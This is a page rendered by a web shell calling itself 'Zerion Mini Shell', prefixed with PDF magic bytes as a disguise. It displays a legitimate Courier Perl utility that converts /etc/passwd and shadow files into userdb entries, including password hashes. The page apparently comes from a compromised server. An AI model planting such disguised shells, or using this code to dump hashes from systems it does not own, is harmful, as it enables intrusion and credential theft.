%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/sbin/
Upload File :
Create Path :
Current File : //usr/local/sbin/pw2userdb

#! /usr/local/bin/perl
#
#  Convert /etc/passwd and /etc/shadow to userdb format.
#
#
# Copyright 1998 - 1999 Double Precision, Inc.  See COPYING for
# distribution information.

# Adapted to BSD master.passwd

use Getopt::Long;

#
#  Some undocumented options here (for vchkpw2userdb)
#

die "Invalid options.\n" unless
	GetOptions("passwd=s" => \$passwd, "shadow=s" => \$shadow,
		"noshadow" => \$noshadow, "nouid" => \$nouid,
		"domain=s" => \$domain, "vpopuid" => \$vpopuid );

($dummy, $dummy, $fixed_uid, $fixed_gid)=getpwnam("vpopmail")
	if $vpopuid;

$passwd="/etc/passwd" unless $passwd =~ /./;
$shadow="/etc/master.passwd" unless $shadow =~ /./;

$domain="" unless $domain =~ /./;
$domain="\@$domain" if $domain =~ /./;

if (! $noshadow && $shadow =~ /master.passwd$/)
{
	open(PASSWD, $shadow) || die "$!\n";

	while (<PASSWD>)
	{
		chop if /\n$/;
		next if /^#/;
		($acct,$passwd,$uid,$gid,$class,$change,$expire,$name,$home,$shell)=split( /:/ );

		($uid,$gid)=($fixed_uid,$fixed_gid) if $vpopuid;
		$name =~ s/\|/./g;      # Just in case

		$PASSWORD{$acct}=$passwd;
		$UID{$acct}=$uid;
		$GID{$acct}=$gid;
		$HOME{$acct}=$home;
		$SHELL{$acct}=$shell;
		$GECOS{$acct}=$name;
	}
	close (PASSWD);
} else {
	open(PASSWD, $passwd) || die "$!\n";

	while (<PASSWD>)
	{
		chop if /\n$/;
		next if /^#/;
		($acct,$passwd,$uid,$gid,$name,$home,$shell)=split( /:/ );

		($uid,$gid)=($fixed_uid,$fixed_gid) if $vpopuid;

		$PASSWORD{$acct}=$passwd if $passwd ne "x";
		$UID{$acct}=$uid;
		$GID{$acct}=$gid;
		$HOME{$acct}=$home;
		$SHELL{$acct}=$shell;

		$name =~ s/\|/./g;	# Just in case
		$GECOS{$acct}=$name;
	}
	close (PASSWD);

	if ( -f $shadow && ! $noshadow)
	{
		open (SHADOW, $shadow) || die "$!\n";
		while (<SHADOW>)
		{
		
			next if /^#/;
			($acct,$passwd,$dummy)=split(/:/);
			$PASSWORD{$acct}=$passwd;
		}
		close (SHADOW);
	}
}

while ( defined ($key=each %UID))
{
	print "$key$domain\tuid=$UID{$key}|gid=$GID{$key}|home=$HOME{$key}" .
		( $SHELL{$key} =~ /./ ? "|shell=$SHELL{$key}":"") .
		( $PASSWORD{$key} =~ /./ ? "|systempw=$PASSWORD{$key}":"") .
		( $GECOS{$key} =~ /./ ? "|gecos=$GECOS{$key}":"") .
		"\n";
	print "$UID{$key}=\t$key\n" unless $nouid;
}

Zerion Mini Shell 1.0